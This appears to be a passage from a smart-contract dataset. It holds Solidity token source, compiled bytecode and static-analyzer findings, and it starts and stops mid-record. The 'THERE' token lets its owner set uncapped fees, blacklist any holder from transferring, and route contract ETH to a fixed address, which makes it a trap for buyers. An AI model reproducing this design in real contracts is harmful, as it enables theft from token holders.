_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement
) {
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if (tokenSupply_ > 0) {
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice());
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial ** 2)
+
(2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18))
+
((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2))
+
(2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
) / (tokenPriceIncremental_)
) - (tokenSupply_);
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
SafeMath.sub(
(
(
(
tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))
) - tokenPriceIncremental_
) * (tokens_ - 1e18)
), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2
)
/ 1e18);
return _etherReceived;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
|
0x6080604052600436106101105763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166265318b811461011e57806306fdde031461015157806310d0ffdd146101db57806318160ddd146101f35780632260937314610208578063313ce567146102205780633ccfd60b1461024b5780634b7503341461026257806356d399e814610277578063688abbf71461028c5780636b2f4632146102a657806370a08231146102bb5780638620410b146102dc578063949e8acd146102f157806395d89b4114610306578063a9059cbb1461031b578063e4849b3214610353578063e9fad8ee1461036b578063f088d54714610380578063fdb5a03e14610394575b61011b3460006103a9565b50005b34801561012a57600080fd5b5061013f600160a060020a036004351661060c565b60408051918252519081900360200190f35b34801561015d57600080fd5b50610166610647565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101a0578181015183820152602001610188565b50505050905090810190601f1680156101cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101e757600080fd5b5061013f6004356106d5565b3480156101ff57600080fd5b5061013f610708565b34801561021457600080fd5b5061013f60043561070e565b34801561022c57600080fd5b5061023561074a565b6040805160ff9092168252519081900360200190f35b34801561025757600080fd5b5061026061074f565b005b34801561026e57600080fd5b5061013f610822565b34801561028357600080fd5b5061013f610879565b34801561029857600080fd5b5061013f600435151561087f565b3480156102b257600080fd5b5061013f6108c2565b3480156102c757600080fd5b5061013f600160a060020a03600435166108c7565b3480156102e857600080fd5b5061013f6108e2565b3480156102fd57600080fd5b5061013f61092d565b34801561031257600080fd5b5061016661093f565b34801561032757600080fd5b5061033f600160a060020a0360043516602435610999565b604080519115158252519081900360200190f35b34801561035f57600080fd5b50610260600435610b3c565b34801561037757600080fd5b50610260610ca8565b61013f600160a060020a0360043516610cd5565b3480156103a057600080fd5b50610260610ce1565b600033818080808080806103c86103c18c600a610d97565b6064610dcd565b96506103d86103c1886021610d97565b95506103e48787610de4565b94506103f08b88610de4565b93506103fb84610df6565b9250680100000000000000008502915060008311801561042557506006546104238482610e8e565b115b151561043057600080fd5b600160a060020a038a161580159061045a575087600160a060020a03168a600160a060020a031614155b80156104805750600254600160a060020a038b1660009081526003602052604090205410155b156104c657600160a060020a038a166000908152600460205260409020546104a89087610e8e565b600160a060020a038b166000908152600460205260409020556104e1565b6104d08587610e8e565b945068010000000000000000850291505b60006006541115610545576104f860065484610e8e565b600681905568010000000000000000860281151561051257fe5b6007805492909104909101905560065468010000000000000000860281151561053757fe5b04830282038203915061054b565b60068390555b600160a060020a03881660009081526003602052604090205461056e9084610e8e565b600160a060020a03808a166000818152600360209081526040808320959095556007546005909152939020805493870286900393840190559192508b16907f8032875b28d82ddbd303a9e4e5529d047a14ecb6290f80012a81b7e6227ff1ab8d86426105d86108e2565b604080519485526020850193909352838301919091526060830152519081900360800190a350909998505050505050505050565b600160a060020a0316600090815260056020908152604080832054600390925290912054600754680100000000000000009102919091030490565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106cd5780601f106106a2576101008083540402835291602001916106cd565b820191906000526020600020905b8154815290600101906020018083116106b057829003601f168201915b505050505081565b60008080806106e86103c186600a610d97565b92506106f48584610de4565b91506106ff82610df6565b95945050505050565b60065490565b600080600080600654851115151561072557600080fd5b61072e85610e9d565b925061073e6103c1846027610d97565b91506106ff8383610de4565b601281565b600080600061075e600161087f565b1161076857600080fd5b339150610775600061087f565b600160a060020a038316600081815260056020908152604080832080546801000000000000000087020190556004909152808220805490839055905193019350909183156108fc0291849190818181858888f193505050501580156107de573d6000803e3d6000fd5b50604080518281529051600160a060020a038416917fccad973dcd043c7d680389db4378bd6b9775db7124092e9e0422c9e46d7985dc919081900360200190a25050565b60008060008060065460001415610840576414f46b04009350610873565b610851670de0b6b3a7640000610e9d565b92506108616103c1846027610d97565b915061086d8383610de4565b90508093505b50505090565b60025481565b60003382610895576108908161060c565b6108b9565b600160a060020a0381166000908152600460205260409020546108b78261060c565b015b91505b50919050565b303190565b600160a060020a031660009081526003602052604090205490565b600080600080600654600014156109005764199c82cc009350610873565b610911670de0b6b3a7640000610e9d565b92506109216103c184600a610d97565b915061086d8383610e8e565b600033610939816108c7565b91505090565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106cd5780601f106106a2576101008083540402835291602001916106cd565b6000806000806000806109aa61092d565b116109b457600080fd5b336000818152600360205260409020549094508611156109d357600080fd5b60006109df600161087f565b11156109ed576109ed61074f565b6109fb6103c1876001610d97565b9250610a078684610de4565b9150610a1283610e9d565b9050610a2060065484610de4565b600655600160a060020a038416600090815260036020526040902054610a469087610de4565b600160a060020a038086166000908152600360205260408082209390935590891681522054610a759083610e8e565b600160a060020a0388811660008181526003602090815260408083209590955560078054948a16835260059091528482208054948c02909403909355825491815292909220805492850290920190915554600654610ae99190680100000000000000008402811515610ae357fe5b04610e8e565b600755604080518381529051600160a060020a03808a1692908716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35060019695505050505050565b6000806000806000806000610b4f61092d565b11610b5957600080fd5b33600081815260036020526040902054909650871115610b7857600080fd5b869450610b8485610e9d565b9350610b946103c1856027610d97565b9250610ba08484610de4565b9150610bae60065486610de4565b600655600160a060020a038616600090815260036020526040902054610bd49086610de4565b600160a060020a03871660009081526003602090815260408083209390935560075460059091529181208054928802680100000000000000008602019283900390556006549192501015610c4457610c40600754600654680100000000000000008602811515610ae357fe5b6007555b85600160a060020a03167f8d3a0130073dbd54ab6ac632c05946df540553d3b514c9f8165b4ab7f2b1805e868442610c7a6108e2565b604080519485526020850193909352838301919091526060830152519081900360800190a250505050505050565b3360008181526003602052604081205490811115610cc957610cc981610b3c565b610cd161074f565b5050565b60006108bc34836103a9565b600080600080610cf1600161087f565b11610cfb57600080fd5b610d05600061087f565b33600081815260056020908152604080832080546801000000000000000087020190556004909152812080549082905590920194509250610d479084906103a9565b905081600160a060020a03167fbe339fc14b041c2b0e0f3dd2cd325d0c3668b78378001e53160eab36153264588483604051808381526020018281526020019250505060405180910390a2505050565b600080831515610daa5760009150610dc6565b50828202828482811515610dba57fe5b0414610dc257fe5b8091505b5092915050565b6000808284811515610ddb57fe5b04949350505050565b600082821115610df057fe5b50900390565b6006546000906c01431e0fae6d7217caa00000009082906402540be400610e7b610e75730380d4bd8a8678c1bb542c80deb4800000000000880268056bc75e2d631000006002860a02017005e0a1fd2712875988becaad0000000000850201780197d4df19d605767337e9f14d3eec8920e40000000000000001610f09565b85610de4565b811515610e8457fe5b0403949350505050565b600082820183811015610dc257fe5b600654600090670de0b6b3a7640000838101918101908390610ef66414f46b04008285046402540be40002018702600283670de0b6b3a763ffff1982890a8b900301046402540be40002811515610ef057fe5b04610de4565b811515610eff57fe5b0495945050505050565b80600260018201045b818110156108bc578091506002818285811515610f2b57fe5b0401811515610f3657fe5b049050610f125600a165627a7a72305820377a3918be1ff57970195fe0e8462c191c37c90d151260f8e757ffe7c64db3d90029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 3,547 |
0x6220f87719ed3c0f37cd344aee49e381b1fb8f93
|
/**
*Submitted for verification at Etherscan.io on 2022-02-16
*/
/*
Lets Go There - $THERE
Telegram: https://t.me/ThereToken
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract THERE is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "THERE";
string private constant _symbol = "THERE";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 2;
uint256 private _taxFeeOnBuy = 7;
uint256 private _redisFeeOnSell = 2;
uint256 private _taxFeeOnSell = 7;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x3154dD5f1E4DE4952766FfBb1f4FC0cD8bd926bA);
address payable private _marketingAddress = payable(0x3154dD5f1E4DE4952766FfBb1f4FC0cD8bd926bA);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = true;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 500000000 * 10**9;
uint256 public _maxWalletSize = 20000000000 * 10**9;
uint256 public _swapTokensAtAmount = 100000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function openTrading() public onlyOwner {
tradingOpen = true;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function swap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setmaxTx(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80638da5cb5b116100f7578063bfd7928411610095578063dd62ed3e11610064578063dd62ed3e14610515578063ea1644d51461055b578063f2fde38b1461057b578063fc3422791461059b57600080fd5b8063bfd792841461049b578063c3c8cd80146104cb578063c492f046146104e0578063c9567bf91461050057600080fd5b806398a5c315116100d157806398a5c3151461041b578063a2a957bb1461043b578063a9059cbb1461045b578063b0c2b5611461047b57600080fd5b80638da5cb5b146103e75780638f9a55c01461040557806395d89b41146101fe57600080fd5b8063313ce5671161016f57806370a082311161013e57806370a082311461036f578063715018a61461038f5780637d1db4a5146103a45780637f2feddc146103ba57600080fd5b8063313ce567146102fe57806349bd5a5e1461031a5780636b9990531461033a5780636fc3eaec1461035a57600080fd5b80631694505e116101ab5780631694505e1461026b57806318160ddd146102a357806323b872dd146102c85780632fd689e3146102e857600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023b57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611916565b6105bb565b005b34801561020a57600080fd5b506040805180820182526005815264544845524560d81b6020820152905161023291906119db565b60405180910390f35b34801561024757600080fd5b5061025b610256366004611a30565b61065a565b6040519015158152602001610232565b34801561027757600080fd5b5060145461028b906001600160a01b031681565b6040516001600160a01b039091168152602001610232565b3480156102af57600080fd5b50678ac7230489e800005b604051908152602001610232565b3480156102d457600080fd5b5061025b6102e3366004611a5c565b610671565b3480156102f457600080fd5b506102ba60185481565b34801561030a57600080fd5b5060405160098152602001610232565b34801561032657600080fd5b5060155461028b906001600160a01b031681565b34801561034657600080fd5b506101fc610355366004611a9d565b6106da565b34801561036657600080fd5b506101fc610725565b34801561037b57600080fd5b506102ba61038a366004611a9d565b610770565b34801561039b57600080fd5b506101fc610792565b3480156103b057600080fd5b506102ba60165481565b3480156103c657600080fd5b506102ba6103d5366004611a9d565b60116020526000908152604090205481565b3480156103f357600080fd5b506000546001600160a01b031661028b565b34801561041157600080fd5b506102ba60175481565b34801561042757600080fd5b506101fc610436366004611aba565b610806565b34801561044757600080fd5b506101fc610456366004611ad3565b610835565b34801561046757600080fd5b5061025b610476366004611a30565b610873565b34801561048757600080fd5b506101fc610496366004611aba565b610880565b3480156104a757600080fd5b5061025b6104b6366004611a9d565b60106020526000908152604090205460ff1681565b3480156104d757600080fd5b506101fc6108af565b3480156104ec57600080fd5b506101fc6104fb366004611b15565b610903565b34801561050c57600080fd5b506101fc6109a4565b34801561052157600080fd5b506102ba610530366004611b99565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561056757600080fd5b506101fc610576366004611aba565b6109e3565b34801561058757600080fd5b506101fc610596366004611a9d565b610a12565b3480156105a757600080fd5b506101fc6105b6366004611bd2565b610afc565b6000546001600160a01b031633146105ee5760405162461bcd60e51b81526004016105e590611bed565b60405180910390fd5b60005b81518110156106565760016010600084848151811061061257610612611c22565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061064e81611c4e565b9150506105f1565b5050565b6000610667338484610b44565b5060015b92915050565b600061067e848484610c68565b6106d084336106cb85604051806060016040528060288152602001611d68602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111a4565b610b44565b5060019392505050565b6000546001600160a01b031633146107045760405162461bcd60e51b81526004016105e590611bed565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6012546001600160a01b0316336001600160a01b0316148061075a57506013546001600160a01b0316336001600160a01b0316145b61076357600080fd5b4761076d816111de565b50565b6001600160a01b03811660009081526002602052604081205461066b90611218565b6000546001600160a01b031633146107bc5760405162461bcd60e51b81526004016105e590611bed565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108305760405162461bcd60e51b81526004016105e590611bed565b601855565b6000546001600160a01b0316331461085f5760405162461bcd60e51b81526004016105e590611bed565b600893909355600a91909155600955600b55565b6000610667338484610c68565b6000546001600160a01b031633146108aa5760405162461bcd60e51b81526004016105e590611bed565b601655565b6012546001600160a01b0316336001600160a01b031614806108e457506013546001600160a01b0316336001600160a01b0316145b6108ed57600080fd5b60006108f830610770565b905061076d8161129c565b6000546001600160a01b0316331461092d5760405162461bcd60e51b81526004016105e590611bed565b60005b8281101561099e57816005600086868581811061094f5761094f611c22565b90506020020160208101906109649190611a9d565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790558061099681611c4e565b915050610930565b50505050565b6000546001600160a01b031633146109ce5760405162461bcd60e51b81526004016105e590611bed565b6015805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610a0d5760405162461bcd60e51b81526004016105e590611bed565b601755565b6000546001600160a01b03163314610a3c5760405162461bcd60e51b81526004016105e590611bed565b6001600160a01b038116610aa15760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105e5565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610b265760405162461bcd60e51b81526004016105e590611bed565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6001600160a01b038316610ba65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105e5565b6001600160a01b038216610c075760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105e5565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ccc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105e5565b6001600160a01b038216610d2e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105e5565b60008111610d905760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105e5565b6000546001600160a01b03848116911614801590610dbc57506000546001600160a01b03838116911614155b1561109d57601554600160a01b900460ff16610e55576000546001600160a01b03848116911614610e555760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105e5565b601654811115610ea75760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105e5565b6001600160a01b03831660009081526010602052604090205460ff16158015610ee957506001600160a01b03821660009081526010602052604090205460ff16155b610f415760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105e5565b6015546001600160a01b03838116911614610fc65760175481610f6384610770565b610f6d9190611c69565b10610fc65760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105e5565b6000610fd130610770565b601854601654919250821015908210610fea5760165491505b8080156110015750601554600160a81b900460ff16155b801561101b57506015546001600160a01b03868116911614155b80156110305750601554600160b01b900460ff165b801561105557506001600160a01b03851660009081526005602052604090205460ff16155b801561107a57506001600160a01b03841660009081526005602052604090205460ff16155b1561109a576110888261129c565b47801561109857611098476111de565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110df57506001600160a01b03831660009081526005602052604090205460ff